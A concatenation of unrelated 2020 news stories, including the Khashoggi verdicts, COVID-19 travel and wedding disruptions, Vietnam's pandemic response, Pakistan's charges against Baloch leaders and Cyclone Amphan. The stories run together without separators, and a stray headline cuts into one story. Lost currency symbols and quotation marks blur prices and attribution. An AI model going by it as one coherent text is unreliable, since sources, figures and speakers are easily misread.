The verdicts were criticized by human rights groups because of the trial's secrecy. Two senior officials who were implicated in the killing, including Saud al-Qahtani, the crown prince's media adviser, were cleared of wrongdoing, prosecutors said.

Even as the trial was held, the Saudi royal court was preparing for a private settlement with Khashoggi's four children and hoping to ensure they refrained from criticizing the kingdom's leadership, according to current and former Saudi officials.

To that end, the children were given multimillion-dollar homes and monthly five-figure payments as part of a compensation package that was approved by King Salman soon after Khashoggi's killing, officials said.

After the payments were reported by The Post last year, Salah Khashoggi, a banker, characterized them as "acts of generosity" by Saudi Arabia's leader and said they were "not admission of guilt or scandal." He said that "no settlement discussion has been or is discussed."
In a private phone call with House Republicans Wednesday afternoon, Senator Mitch McConnell of Kentucky, the majority leader, vowed that Republicans would clean up the Democrats crazy policy that is paying people more to remain unemployed than they would earn if they went back to work.

Democrats have repeatedly slammed Republicans for what Senator Chuck Schumer of New York, the minority leader, referred to on Thursday as a staggering level of inaction on coronavirus legislation.

The Atlantic lays off 17 percent of its staff.

The Atlantic will lay off 68 workers across events, sales, and editorial, David G. Bradley, the chairman of Atlantic Media, said in a staff email on Thursday, as the publication struggles with the same forces  mostly a drop in digital advertising  that have affected tens of thousands of jobs in news media during the coronavirus crisis even as it has experienced a sharp rise in subscribers.

Those laid off represent 17 percent of the total staff, The Atlantic said in a statement. Executives will have their pay cut, and there will be general pay freezes.

A long-term strategic pivot to a business model that relies predominantly on reader revenue, Mr. Bradley said, is accelerated  and made necessary  by the overnight and near-complete undoing of in-person events and, for now, a bracing decline in advertising.

The Atlantic instituted an online paywall last year, and has since added 160,000 new subscribers, Mr. Bradley said. More than 90,000 of those have been added since March. The magazine, which is 163 years old and was once edited by Ralph Waldo Emerson, has drawn widespread praise for its coverage of the pandemic.

Three years ago, Mr. Bradley sold a majority stake in Atlantic Media to Emerson Collective, the organization founded by the billionaire Laurene Powell Jobs.
PM Nguyen Xuan Phuc (Photo: VGP)



During the interview, the Prime Minister affirmed that Vietnam's success was due to its early awareness of the pandemic, proper measures, and firm direction which received support from the people. He also emphasized the persistent viewpoint of the Party, the State and the Government of Vietnam to be proactive, not negligent, "fighting the pandemic like the enemy", mobilizing the strength and the participation of the whole political system and social community, taking pandemic prevention as a priority, preventing the risk of the pandemic spreading from outside, isolating infected areas, treating effectively, accepting the sacrifice of short-term economic benefits to best protect people's health and lives.



The Prime Minister said that with the negative impacts caused by the pandemic, the Government has also implemented many measures to support the economy, remove difficulties for production and business, especially caring for the lives of people. As a result, so far, Vietnam has basically managed to control the pandemic and at the same time maintained the macro economy, turning to a "new normal" state, and determined to achieve GDP growth of 4.5-5% in 2020.

Sharing about Vietnam's international cooperation in the COVID-19 pandemic, the Prime Minister said that Vietnam had taken many practical activities to support and cooperate with other countries and international organizations, which was appreciated by the international community, including providing masks and medical equipment, and sharing information and experience on COVID-19 prevention.

On this occasion, Prime Minister Nguyen Xuan Phuc expressed his thanks to the international media for paying attention and making comprehensive and objective assessments of Vietnams COVID-19 prevention, considering it a great encouragement for the Government and people of Vietnam in the fight against the COVID-19 pandemic.

Foreign correspondents congratulated Vietnam on its success and highly appreciated Vietnam's measures to effectively prevent the COVID-19 pandemic./.
Travel bubbles, sea bridges, quarantines  no wonder theres a lot of confusion surrounding holidays as restrictions ease.

The UKs blanket quarantine on all those coming into the country will be reviewed every three weeks, and could be lifted by early July.

Countries across Europe are preparing to reopen, too. We look at what your chances are for a summer getaway

SPAIN

Many hotels have reopened in Spain and beaches are expected to reopen on Monday. Pictured is Cala Gat beach in Majorca

Many hotels have reopened, but their pools, gyms and spas are closed. Some restaurants and bars can serve customers in outside spaces, although most will not be fully operational until June. Beaches are expected to reopen on Monday.

Tourists may be restricted to four-hour stays at popular ones, including those in the Costa del Sol.

CHANCE OF A SUMMER HOLIDAY: The 14-day quarantine for international arrivals is likely to last only until June 29, when Spain plans to reopen its borders fully. 3.5/5

...And heres a deal: Seven nights half board with flights at Hotel Rocamarina in Majorca from 452 pp (was 616 pp, tui.co.uk).

PORTUGAL

In Portugal, beaches will be open from June 6, but sunbathers need to keep 1.5 metres apart

Restaurants, cafes, museums and many shops reopened on Monday. Beaches will be open from June 6, but sunbathers will need to keep 1.5 metres apart. They can use an app to see which beaches are full.

Hotels hope to resume business as early as June 1. They can display Clean & Safe stamps awarded by tourism officials to prove they have introduced the recommended hygiene and safety procedures.

CHANCE OF A SUMMER HOLIDAY: Portugal is not imposing a quarantine rule, and its 1,277 Covid-19 deaths compares favourably with neighbouring Spains 28,000, so its a prime contender. 4/5

...And heres a deal: Seven nights half board with flights at Hotel Falesia in Acoteias from 572 pp (was 705 pp, firstchoice.co.uk).

ITALY

Italian idyll: Limone on Lake Garda. Bars, restaurants, shops and churches reopened in Italy this week

Bars, restaurants, shops and churches reopened this week, and the coastline was declared open. Umbrellas are being set 1.5 metres apart on some beaches. Hotels are likely to reopen in early June.

Sicily will subsidise travel for tourists via a 67 million fund.

CHANCE OF A SUMMER HOLIDAY: EU tourists can visit from June 3 without self-isolating. Britons can, too, if the UK drops quarantine plans for arrivals from Italy. 4/5

...And heres a deal: Seven nights all-inclusive with flights at the Leonardo Da Vinci Hotel in Limone on Lake Garda from 511 pp (was 722 pp, loveholidays.com).

GREECE

Kalamitsii beach in Halkidiki, Greece. The tourist season will begin in Greece on June 15

The tourist season will begin here on June 15, with hotels gradually opening. International flights will resume two weeks later.

There is a limit of 40 people per 1,000 square metres on beaches. Umbrellas are spaced four metres apart, and some are screened off.

CHANCE OF A SUMMER HOLIDAY: It proposed an air bridge to let Britons visit without quarantining, but its tourism minister said the UK was unlikely to be one of the first countries allowed to enter. 3/5

...And heres a deal: Five nights half-board with flights at Eagles Palace in Halkidiki from 399 pp (was 686 pp, travelzoo.co.uk).

FRANCE

The government in France has indicated foreigners will not be able to holiday there until July 24

Restaurants and bars will open from June 2. Visitors must present a certificate stating they do not have Covid-19, or quarantine for 14 days.

Three-hour slots must be booked on some beaches. Masks are mandatory on public transport, including the Eurostar.

CHANCE OF A SUMMER HOLIDAY: Its Government indicated foreigners will not be able to holiday there until July 24 at the earliest. It will give an update on Monday. 3/5

...And heres a deal: Seven nights room-only with flights at the Hotel Vacances Bleues Le Royal in Nice from 501 pp (was 738 pp, loveholidays.com).

TURKEY

Overseas travellers to Turkey must quarantine for 14 days at present. Pictured is the resort of Bodrum

Hotels and restaurants can get a new safety certificate by doing twice-daily temperature checks on staff, for instance.

They will open at the end of the month, along with beaches. Overseas travellers must quarantine for 14 days at present.

CHANCE OF A SUMMER HOLIDAY: Its Government is aiming to welcome tourists by mid-June, and test visitors when they arrive. 4/5

...And heres a deal: Seven nights self-catering at Agar Apartments in Bodrum with flights from 240 pp (was 372 pp, jet2holidays.com).

USA

Britons are currently banned from entering the U.S from the UK at present, meaning no trips to Walt Disney World in Florida

The U.S. has the highest number of recorded Covid-19 cases, at more than 1.6 million. Restrictions are handled by states.

Some have plans to restart tourism on June 1, when their hotels and campsites will open at 50 per cent capacity. Britons are banned from entering the U.S from the UK at present.

CHANCE OF A SUMMER HOLIDAY: Low. Autumn is a better bet. 1/5

...And heres a deal: Seven nights room-only at Rosen Inn in Orlando, with flights, from 795 pp (was 1,052 pp, tui.co.uk).

 AND THE UK

Restrictions on travel to beaches and national parks were lifted in England this month. Pictured is the harbour at Port Isaac in Cornwall

Campsites, holiday parks and self-catering properties are likely to reopen from July 4 at the earliest. Hotels and B&Bs may have to wait longer.

Restrictions on travel to beaches and national parks were lifted in England this month, but Scotland and Wales have made more modest changes.

CHANCE OF A SUMMER HOLIDAY: Certain, unless theres a spike in cases or deaths. 5/5

...And heres a deal: Pitches at Cornish Tipi Holidays near Port Isaac from 18 per night (cornishtipiholidays.co.uk).
Home delivery of liquor in sealed bottles will be allowed in Mumbai from Saturday, but with certain riders. Brihanmumbai Municipal Corporation (BMC) commissioner Iqbal Chahal, who issued a circular to the effect on Friday, said the service will not be available in containment zones, people ordering liquor will need permits issued by the excise department and no shop will be allowed to sell over the counter.

Wine shop owners, however, said immediate delivery from Saturday seems difficult. Delivery services will require nod from the collectors office, including the excise department. We may be able to deliver only from Sunday or Monday, said a wine shop owner, who did not want to be named.

The circular, which comes five days after the state government allowed home delivery of liquor in red zones, states that the delivery can happen even through e-commerce and online platforms.

However, shop owners, who spoke on condition of anonymity, said they would prefer to deliver on their own rather than go through e-commerce and online platforms. The owners said they fear entry of these platforms in the liquor delivery space and that could harm their business in the future.

Maharashtra consumes around 86 crore litres of liquor every year, which works out to daily consumption of around 24 lakh litres.

The state government had earlier allowed opening of non-essential shops, including those selling liquor, but it resulted in crowding outside wine shops in Mumbai. The civic body then on May 5 ordered all shops selling non-essential goods to shut. The then civic chief Praveen Pardeshi had issued the order citing inputs from police and ward officials and social media posts. He had said it has been impossible to maintain social distancing and there were few instances of law-and-order situation arising out of crowds gathering at one place.
New Delhi :

Pakistan police have registered five cases against Baloch leaders Brahamdagh Bugti, Harbiyar Marri and Banuk Karima Baloch for allegedly supporting Prime Minister Narendra Modi's statements on Balochistan in his Independence Day speech from the historical Red Fort in New Delhi.

According to Dawn.com, the cases were registered on the complaints registered at five police stations at Khuzdar area in Balochistan.

The complaint filed against the Baloch leader also says that Bugti, Marri and Baloch had 'supported' Modi's Independence Day speech on August 15 this year.

Also read: In his I-Day speech, PM Modi mentions PoK and Balochistan

The dawn report further says that the Baloch leaders were booked under sections of Pakistan Penal Code that refer to "waging or attempting to wage war or abetting waging of war against Pakistan."

One of the petitioners also alleged that the Baloch leaders had asked PM Modi to commit aggression against Pakistan.

PM Modi had highlighted human rights violations by Pakistan in Balochistan, the Giligit-Baltistan region and Pakistan-occupied-Kashmir (PoK) in his Independence Day speech on August 15 this year. Later, the Pakistani media had said that PM's speech was a breach of international norms and intrusion of India into Pakistans sovereignty.

After PM Modi's statements on Balochistan, many Baloch leaders and activists had staged massive protests in Dera Bugti, Khuzdar, Quetta, Chaman and other parts of Balochistan.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
It was a miracle during a nightmare.

After spending 72 days in the hospital in a life and death struggle with the coronavirus, Trichelle McDaniel emerged from Touro Infirmary and onto Prytania Street Friday afternoon. She was greeted by the music of a brass band and the applause of dozens of hospital staff, her family, the press and curious onlookers. The crowd cheered particularly loudly when McDaniels fiance, Brian Harris Sr., placed their infant son, Brian, into her arms.

It was the first time shed held the infant. He was born two months ago, but separated from his mother for his safety.

McDaniel had gone to the emergency room on March 11 suffering from flu-like symptoms. It was the early stages of the contagion in New Orleans  the first case in the state had been reported just two days prior. McDaniel tested positive for the new disease that as of Friday had claimed 500 lives in Orleans Parish.

McDaniels case was complicated because she was almost eight months pregnant. While suffering the respiratory troubles caused by COVID-19, she went into premature labor. Her son was born, healthy, via Caesarean section on March 15.

Dr. Tara Morse, who delivered the baby, said she was fearful of the little-understood virus.

But you just have to do it, she said.

At the time, the recommendation from the Centers for Disease Control and Prevention was to remove the newborn from the infected mother.

I want to deliver the baby then hand it to the mom, Morse said. But in the face of the virus, she and colleague Dr. Kristin Green made the tough decision to quarantine McDaniel away from her new son.

It was hard to explain to the family, Morse said, referring to McDaniels fiance and five children.

After delivery, McDaniels condition worsened. Dr. Michael Hawthorne, McDaniels pulmonologist, said that "from the get go" McDaniel was one of Touros sickest COVID-19 patients. Within 12 hours of giving birth, McDaniel required a ventilator. Eventually McDaniels tongue swelled and her throat had to be punctured via a tracheotomy in order to continue using the breathing apparatus, Hawthorne said.

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She was on the ventilator for six weeks, the doctor said. Half of the time she was on it, some people didnt think shed survive.

But she held on tenaciously, he said, becoming a symbol of hope during a time of defeat after defeat.

Despite the fact that she's been sedated for four weeks, she bounced back from the treatment quickly.

Hawthorne attributes McDaniel's iron will to the baby she had yet to hold. He said that McDaniel told him her next youngest child was 12 and that she considered the newborn a miracle baby.

Theres something about the motherly instinct thats one of the most powerful forces on Earth, he said.

President Trump deems churches 'essential,' will 'override' governors who refuse to reopen WASHINGTON (AP)  President Donald Trump said Friday that he has deemed churches and other houses of worship essential" and called on governo

As the crowd under the hospital portico waited for McDaniel to appear, the brass band serenaded and two hospital employees danced. McDaniels family stood in an expectant cluster, holding flowers, balloons and photos of baby Brian.

McDaniel, who works in the insurance business, said shed been told there would be a sendoff celebration, but she didnt expect the roar of congratulations that greeted her. During a brief press conference conducted as she waited for her ride home to arrive, McDaniel said she was anxious to get home to spend time with the baby in person. Previously the mother and son had only bonded via FaceTime.

McDaniels daughter Roneisha, said that she and her siblings had not been able to visit with their mom, but had kept in touch with daily texts. She said they'd straightened up the house for her return and planned to help rear the newest member of the family.

Of her time in the hospital, McDaniel said it had been a challenge, but that she didnt remember much about what had gone on since giving birth.

I just remember waking up and it was April, she said.
Donald Trump announced he is designating all places of worship  including churches, synagogues and mosques  "essential," saying he wants them to "open right now."

The president panned state leaders for keeping "liquor stores and abortion centres" open during the coronavirus lock down while keeping places of worship shuttered. "It's not right," he said, declaring his move is aimed at "correcting this injustice."

"If there's any question, they're going to have to call me," Mr Trump said in the White House briefing room. "But they are not going to be successful in that call."

"In America, we need more prayer," Mr Trump said before leaving the briefing room. "Not less."

But, a few minutes later, White House Press Secretary Kayleigh McEnany said whether religious houses open will be up to their leaders, as well as state and local officials. She could not cite any federal statute that would give any president the authority to legally override a state or local leader on such a matter. Ms McEnany, notably, is an attorney.

The president was in the briefing only to read a short statement announcing he has approved guidelines from the Centers for Disease Control and Prevention tailored to help state and local leaders safely allow worship facilities to open back up.

But earlier on Friday, the president had a bit more to say on the subject during an event marking Memorial Day.

"We want our churches and our places of faith and worship, we want them to open," he said. "But they're going to be opening up very soon. We want our churches open, we want our places of faith, synagogues, we want them open, and that's going to start happening."

"I consider them essential, and that's one of the things we're saying. We're going to make that essential," Mr Trump said. "You know, they have places [deemed] essential that aren't essential. And they open, and yet the churches aren't allowed to open, and the synagogues. And again, places of faith, mosques, places of faith."

Notably, a large chunk of Mr Trump's political base is very religious.

He took 75 per cent of the white evangelical vote in 2016. Recent polling shows he remains about that popular with that voting bloc with Election Day just six months away.

Like the rest of his base, Mr Trump needs those highly religious conservative voters to turn out in big numbers in a handful of key battleground states, where he mostly trails former Vice President Joe Biden.

Deborah Birx, one of Mr Trump's top health officials, urged leaders of religious centres to contact their local officials about the number of cases.

While Mr Trump said he wants them all open "this weekend," she said maybe some should "wait a week."

It's just the latest example of how the president and his top coronavirus advisers often contradict one another, sometimes within minutes.
Samantha Wellners dream wedding was a black-tie affair at a country club near where she grew up on Long Island, New York  a 150-guest bash filled with family, friends and food.

She and her fiance, Sean Bernson, had planned a whole weekend of events for their out-of-town guests that included yoga, wine tasting and brunch. June 19, 2020 seemed like the perfect time to tie the knot  until New York became the epicentre of the United States coronavirus outbreak.

Wellner and Bernson booked their original venue a year in advance, and planned to spend $35,000 for the space, food and drinks. Now, they fear mid-June is still too soon for people to gather safely  and the delay could affect more than just the big day.

Our plan was always to be engaged for a year and to start a family right after getting married. Part of our plan was also to kick off our marriage with a big party, but were realising now that may not be in the cards for us, Wellner, 34, told Al Jazeera. Its important to us to get married this year because were in our mid-30s and want to start building a family.

Because New York State has already started lifting some coronavirus restrictions, Wellner and Bernson said they may lose their $6,000 deposit. Under the contract they signed, they say, unless the venue can book a comparably-sized event for June 19, the couple is on the hook. They said theyre also fighting to get back the $7,000 they paid to reserve a block of hotel rooms nearby.

This is supposed to be a joyous, fun time, and its impossible to be joyous when were spending our time arguing with people over the phone and worrying about if we are going to get our loved ones sick, Bernson, 34, told Al Jazeera.

The couple is far from alone.

Thousands of postponed weddings

Nearly 450,000 US weddings were originally planned for March, April and May of 2020, according to data from wedding-planning websites WeddingWire and The Knot.

And while only four percent of couples have cancelled their weddings rather than postponed them, it still has a huge impact on vendors in the short term, Kristen Maxwell Cooper, The Knots editor-in-chief, told Al Jazeera.

Many of our small business partners, the wedding professionals that make weddings happen, are feeling a strain on their bottom line as couples look to postpone and reschedule their weddings for later this year or into 2021, Maxwell Cooper explained.

The average US wedding costs $33,900 for the ceremony, reception and engagement ring, according to a WeddingWire survey of more than 27,000 couples. As a whole, the industry is valued at $74bn and employs more than 1.2 million people, according to a report from IBISWorld.

Nicole Marie Zillman, 32, is one of them. She owns a small wedding and vacation-planning company based in California and Colorado. For weddings, she is paid per event, and after taking a deposit, she only collects the remaining balance a week before a couples big day. For honeymoons and travel, she receives her commission only after the trip is complete.

With weddings and travel being as up in the air as Ive ever seen, our job security at an all-time low, Zillman told Al Jazeera. A lot of wedding planners and travel agents just flat-out wont make an income on events in the next few months and will have to live off of deposits for events far in the future, if theyve booked them.

Zillman estimates shes already lost $5,000 directly in wedding coordination fees and travel commissions since the start of the COVID-19 crisis, but indirectly, Ive lost anywhere from $20,000 to $60,000 in weddings that are now not booking services or vendors, she said. People are indefinitely postponing or cancelling their weddings out of fear and the unknown. This will continue to affect the wedding industry well into 2022.

I never expected to have a guy in a medical mask and gloves handing out hand sanitiser to our wedding guests. Sean Bernson, engaged to be married

Thats partly because even as businesses are allowed to reopen, planners and couples dont really know what weddings under social-distancing guidelines will look like.

Under the White Houses three-phased plan, wedding venues could reopen with strict physical distancing during phase one and moderate physical distancing during phase two.

However, these terms are so vague, it is really hard for us as planners and venue operators  as well as brides and grooms  to picture how that would work, or what that would look like, Zillman explained. Will there need to be empty chairs between guests? Will dance floors be banned? What about dinner service?

Weddings are basically a combination of a church service, a bar, a restaurant and a dance club  all things that are still closed  so there is a lot of uncertainty of what weddings will look like in the very near future, she added.

Zillman said she qualified for the $1,200 stimulus cheque that most Americans were eligible for under he governments virus relief aid package. But she hasnt received any small business loans and not one of my fellow colleagues in the wedding industry  photographers, rentals companies, other planners  qualified for small business assistance.

To try to keep vendors afloat, The Knot has set up a $10m vendor-assistance programme. But whether couples will be able to afford to shell out what they did pre-pandemic for their weddings also remains to be seen.

Nearly 39 million Americans have filed for jobless benefits since mid-March, and many economists are warning that the US unemployment rate could peak around Great Depression levels.

The average couple pays for about half of their wedding, with parents footing the other half of the bill, according to the WeddingWire survey. And 45 percent of families use savings to pay, which could be diminished after being out of work for months.

Canceled honeymoons

The COVID-19 crisis has also hit the travel industry hard. The same survey found 70 percent of US couples take a honeymoon after their wedding  with 61 percent going abroad. But travel restrictions and uncertainty have postponed those trips indefinitely, and hit the travel agents who rely on those commissions hard.

Kristen Lowrey Larson, 39, is a travel advisor with Artistico Travel Consultants in California who books luxury four-star honeymoons and vacations, many of them international getaways like safaris, cruises or tours. She estimates shes lost between $15,000 and $20,000 in commissions due to COVID-19.

My business was impacted immediately, as I had clients due to travel abroad in April, so their trips were cancelled as soon as the shelter-in-place order went into effect in California, Lowrey Larson told Al Jazeera. Now, all of my bookings through June have been cancelled, and I anticipate the bookings for July will cancel next week as our partners extend their own cancellations on tours and cruises.

Like Zillman, Lowrey Larson is only paid after a client travels, so it could be a while before she sees any income at all. Her family of four is surviving off her husbands income in the meantime, but the uncertainty of how long the crisis will last makes booking future weddings and travel tough.

Thats why some couples have opted to get married during the pandemic  holding socially distant ceremonies with just an officiant and celebrating with loved ones over Zoom. But many others, like Wellner and Bernson, still hope to have an in-person celebration.

The couple has rescheduled their wedding for September 3, but that requires changing venues, slashing the guest list by a third and moving the event to a Thursday. Wellner and Bernsons reception will look very different from what they imagined  no passed hors doeuvres or self-service buffets, guests separated from food by plexiglass partitions and servers wearing gloves and masks.

I never expected to have a guy in a medical mask and gloves handing out hand sanitiser to our wedding guests, Bernson said. But this is such an ugly year, and to be able to provide some fun, to be able to provide one night of dancing, thats what we want. We miss our friends, and our friends and family are important to us.

The couple also worries that infections could spike again before September, potentially putting vulnerable guests at risk.

I know my grandfather wants to be there, but I dont want him risking his life to see us get married, Bernson said. Both of us have relatives who are elderly or who have other health issues, and thats our biggest concern.

Wellner said it might end up being a smaller ceremony with a big party down the road. We all may need to still be wearing masks, she said, adding she would try to find matching ones for the bridesmaids and groomsmen. Were starting to ask ourselves if we should just get married with our immediate family and hold the reception we always envisioned when theres more certainty in the world.
Ukraine's memorandum in the case of the seizure of Ukrainian sailors and ships in the Black Sea in November 2018 has been signed and will be submitted to the International Tribunal for the Law of the Sea (ITLOS) on Friday, May 22.

According to an Ukrinform correspondent, the memorandum was signed during an online briefing on Friday. Ukraine's agent in international cases against Russia, Deputy Foreign Minister Yevhen Yenin, signed the document.

"Today, as required by the Tribunal's procedures, we are submitting our detailed legal position to the arbitral tribunal. This document is called a memorandum. Facts, images, evidence and the legal position have been presented here systematically and qualitatively," Ukrainian Foreign Minister Dmytro Kuleba said.

He said Ukraine was beginning a new stage in the struggle for justice and opposition to Russian aggression in international courts.

"We do not seek revenge. We seek justice, and we will seek this justice by all means available to us. [] Russia must be held accountable for violating the UN Convention on the Law of the Sea, for holding our sailors in a Russian prison for nine months, and for detaining our ships for eleven months," the diplomat said.

Ukrainian Deputy Foreign Minister Yevhen Yenin, in turn, said the memorandum contained the legal position of Ukraine, which describes in detail what rules were violated by the Russian side, as well as a description of the facts to confirm the legal position - testimony of witnesses, experts.

He said the memorandum was a confidential document so he could not name a specific amount of damage.

At the same time, Yenin named the structure of the damage caused, which consists of damage done to the Ukrainian Navy for repairing ships, as well as the impossibility of using them for one year, material and moral damage done to seamen illegally held in a Russian prison for more than nine-and-a-half months, as well as damage done to the state of Ukraine for the violation of its rights.

As reported, on November 25, 2018, Russian security forces fired on and captured three ships of the Ukrainian Navy off the coast of Russia-occupied Crimea - the Berdyansk, the Nikopol and the Yany Kapu  which were heading from Odesa to Mariupol. Twenty-four Ukrainians were captured, and three of them were wounded.

The Ukrainian seamen returned to Ukraine as a result of a detainee exchange with Russia in September 2019.

op
I would like to point out that we have not set a specific target for economic growth this year, Premier Li Keqiang said when delivering his work report at the grandiose opening of the National Peoples Congress in Beijing. This is because our country will face some factors that are difficult to predict in its development due to the great uncertainty regarding the covid-19 pandemic and the world economic and trade environment.
Kenneth L. Smith, a former tribal elder with the Warm Springs Indian Reservation, is being remembered by his community as a humble individual who never gave up on defending the rights and dreams of Native Americans.

Wherever he went, he was noted for his compassion for Native Americans and how they could challenge todays world, said Danny Martinez, a member of the Confederated Tribes of Warm Springs.

Smith, who was a member of the Wasco Tribe, died May 13. He was 85.

Smith was born March 30, 1935, grew up on a ranch south of the Warm Springs Indian Reservation and attended high school in Madras. He later graduated from the University of Oregon with a Bachelor of Science degree in business. He was the second Native American to graduate from that university.

Smith served on the Confederated Tribes of Warm Springs Tribal Council from 1965 to 1968 and also worked as general manager for the reservation from 1971 to 1981.

Between 1981 and 1984, Smith served as assistant secretary of the Interior for Indian Affairs, a position appointed by then-President Ronald Reagan.

In this position Smith helped oversee a workforce of 16,000 and worked with hundreds of tribes and Alaskan native organizations.

Following his term in Washington, D.C., Smith finished his career back in Warm Springs, working as an executive on the reservation. During this time he helped oversee the development of several lasting organizations, including the Early Childhood Education Center and the Museum at Warm Springs.

During his career, Smith served on numerous committees and boards, including the board of directors of the American Indian Lawyer Training Program, the Oregon State Board of Education, and the Portland Branch of the Federal Reserve Bank of San Francisco.

Smith was also known as a passionate follower of arts and culture. He served on the boards of the High Desert Museum and the Smithsonian.

Smith distinguished himself as a thoughtful leader and humanitarian.

I worked with Mr. Smith for 30 years, and I never heard him say anything negative, said Martinez. He was always watching out for the good in native communities and enough cant be said about his vision for native tribes and how we can all come together for mutual benefit.

KTVZ-TV reported he died of natural causes.

 Michael Kohn, The Bulletin
Etihad Airways, the national airline of the UAE, has amplified its corporate social responsibility (CSR) initiatives to support those affected by the Covid-19.

The airline has highlighted the development of face shields for medical staff in a new video released today to mark Zayed Humanitarian Day.

In an effort to provide additional safety for medical staff interacting with patients, the Etihad Airways Medical Centre (EAMC) collaborated with Etihad Engineering to develop personal protective equipment (PPE) that would add an additional layer of protection for healthcare professionals working in medical centres across the UAE.

Dr Nadia Al Bastaki, Vice President Medical Services at Etihad Aviation Group, said: As part of our CSR efforts, and as an organisation, we challenged ourselves to determine what we could do to help combat the effects of this global pandemic. With high demand for PPE in the UAE, our innovative design team at Etihad Engineering successfully developed 1,000 face shields for us to distribute locally."

With the logistical support of Emirates Red Crescent, well start distributing the face shields to medical professionals at EAMC and SEHA this week, Dr Al Bastaki said.

The face shields are designed and manufactured using Etihad Engineerings latest 3D printing technology certified by the highest aviation standards. The shields were validated by EAMCs medical team to ensure protection. It is constructed of a reusable plastic band which requires standard disinfection (similar to a mobile phone) and a disposable plastic shield which can be replaced with sheets found at any stationery store. Additional plastic sheets will be distributed with the face shields.

Since the start of the pandemic, over 3,000 Etihad Airways employees have volunteered to support a number of government entities and initiatives including deployments to SEHA, Maan and Emirates Red Crescent. 800 staff volunteers alone have registered on the UAE Volunteers Platform, a community response to Covid-19.

An overwhelming number of our employees have selflessly put their hand up to volunteer, from working at call centres, to distributing masks and gloves and physically cleaning the streets of our capital city as part of the governments sanitisation programme."

This year, Eid will not be the same for most. Therefore, in collaboration with Grace Conservation, we will be distributing 1,000 gift boxes to families in need containing clothes for adults and children, added Dr Al Bastaki.

As a core element of Etihads ongoing corporate social responsibility campaign, the airline has again partnered with Emirates Red Crescent to produce and deliver 1,000 meals per day to Humanitarian City, a month-long initiative which began on April 15 and will continue through Ramadan. A total of 6,400 blankets were also donated to Humanitarian City.

In collaboration with the United Nations Refugee Agency (UNHCR) globally and with Emirates Red Crescent, through Etihad Guest miles donation drives, the airlines loyalty programme, Etihad Airways has provided ventilators, masks, gloves and soap to refugees, and other displaced people.

The airline is also donating over 1,000 units of essential supplies to SEHA, Emirates Foundation, ADNEC Field Hospital and Trade Centre Field Hospital with bags containing childrens activity packs and essential bathroom amenities.

As Etihad Aviation Group, we are here to support the UAE government and fight this pandemic together, added Dr Al Bastaki. - TradeArabia News Service
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Linkedin News Desk (Reuters) London, United Kingdom  Fri, May 22, 2020 10:45 608 fc6853813033f564188675f8bd994981 2 World Britain,UK,antibody,antibody-test,coronavirus,COVID-19,SARS-CoV-2,pandemic,novel-coronavirus,virus-corona Free

Britain said on Thursday it had agreed to acquire over 10 million coronavirus antibody tests from Roche and Abbott which would be rolled out to health and care workers from next week.

Mass antibody testing is being considered by many countries as a way to speed the reopening of economies devastated by lockdowns and to introduce more tailored social distancing measures.

Health minister Matt Hancock said the tests would be first rolled out to staff, patients and residents in health and care settings.

"This is an important milestone, and it represents further progress in our national testing program," he added.

"We're not yet in a position to say that those who test positive in these antibody tests are immune from coronavirus. But as our understanding of the disease improves, the insight these antibody tests provide will be crucial."

The antibody tests - also known as serology tests - show who has been infected, although it is not yet clear whether the presence of antibodies to the new coronavirus, SARS-CoV-2, confers permanent immunity.

Hancock said an antibody surveillance study had found 17% of people in London and around 5% or higher in the rest of the country had tested positive for coronavirus antibodies.

Earlier this month, a spokesman for Prime Minister Boris Johnson said there was the possibility of issuing some kind of certificate based on immunity but that scientists still needed to know more about that subject area.

Hancock also said that Britain would trial a new antigen test - which shows whether people currently have COVID-19, the disease caused by the new coronavirus - that would return results in 20 minutes without needing to be sent to a lab for processing.

"If it works, we'll roll it out as soon as we can," he said.
University of Georgia spring and summer 2020 graduates will celebrate graduation inside Sanford Stadium on Friday. In the wake of the COVID-19 pandemic, the ceremony was rescheduled and will now require masks and be socially distanced.
Since the start of the global pandemic, a lot of alleged predictions have surfaced online. One of them is a passage from the 1981 "Farmer's Almanac" which describes the pandemic eerily.

The 2020 prediction

The controversial passage reads as follows: "In around 2020 a severe pneumonia-like illness will spread throughout the globe, attacking the lungs and the bronchial tubes and resisting all known treatments. Almost more baffling than the illness itself will be the fact that it will suddenly vanish as quickly as it arrived, attack again ten years later, and then disappear completely."

Since 1972, The "Farmer's Almanac," also known as "Old Farmer's Almanac," has been published in the United States annually. Another book "Farmers' Almanac" was published in 1818, and they contain weather predictions, recipes, planting schedules, and more.

All the forecasts on the book focus on weather data. Now the question in everyone's mind is, did the "Farmer's Almanac" from 1981 predict the events of 2020? The answer is no.

The passage that was quoted and is currently circulating online is, for one, not from the "Farmer's Almanac" book. The passage is, in fact, from a book called "End of Days" Predictions and Prophecies About the End of the World" and it was written by Sylvia Browne.

Also Read: New York Launches UV Light Program to Kill COVID-19

Sylvia Browne is an American author who claimed to be a psychic. Even though the passage of Browne's book was vague, it caused a meltdown on social media. Although some believe that the author was able to predict the pandemic, there were skeptics who stated that it was out of pure luck and chance.

Did Browne predict the future?

Browne's book was written five years after the SARS epidemic, which was around 2002 to 2003, which means that she likely based her prediction on the epidemic. Browne passed away in 2013, but during her life she was criticized for false predictions.

In 2006, she said that a group of miners who were trapped at Sago mine in West Virginia after a mine explosion would not be found, but days later the miners were rescued and found alive. Another famous name has predicted pandemic.

In 2015, Bill Gates held a TED Talk and said that the world is not ready to face another pandemic. In 2018, a discussion about epidemics was hosted by the New England Journal of Medicine and the Massachusetts Medical Society, and Gates said that the pandemic could happen in the next few years.

Gates also presented a simulation designed by the Institute for Disease Modeling and it was found that a new flu that is the same as the 1918 pandemic will most likely kill around 30 million people in just a span of 6 months.

The world is interconnected and the likelihood that a disease will appear that could spread around the world was very high, and it could either happen naturally or it could be created as a weaponized disease.

In April, Gates said in an interview with the Financial Times that a viral outbreak may happen every 20 years. The coronavirus pandemic will cause governments to have deep antiviral libraries, standby diagnostics, and early warning systems.

Related Article: World Bank Says Pandemic Could Push 60 Million People into Extreme Poverty

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Source: Xinhua| 2020-05-22 15:04:03|Editor: huaxia

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NEW DELHI, May 22 (Xinhua) -- The Death toll from cyclonic storm Amphan in India's eastern state of West Bengal rose to 80 Friday as Indian Prime Minister Narendra Modi embarked on an aerial tour to review the damage.

"Eighty people died in this cyclone. We have evacuated more than 600,000 people. Time and density of cyclone was worse. It is more than a national disaster," West Bengal Chief Minister Mamata Banerjee told media.

According to Banerjee, the radius of the cyclone was 450 km.

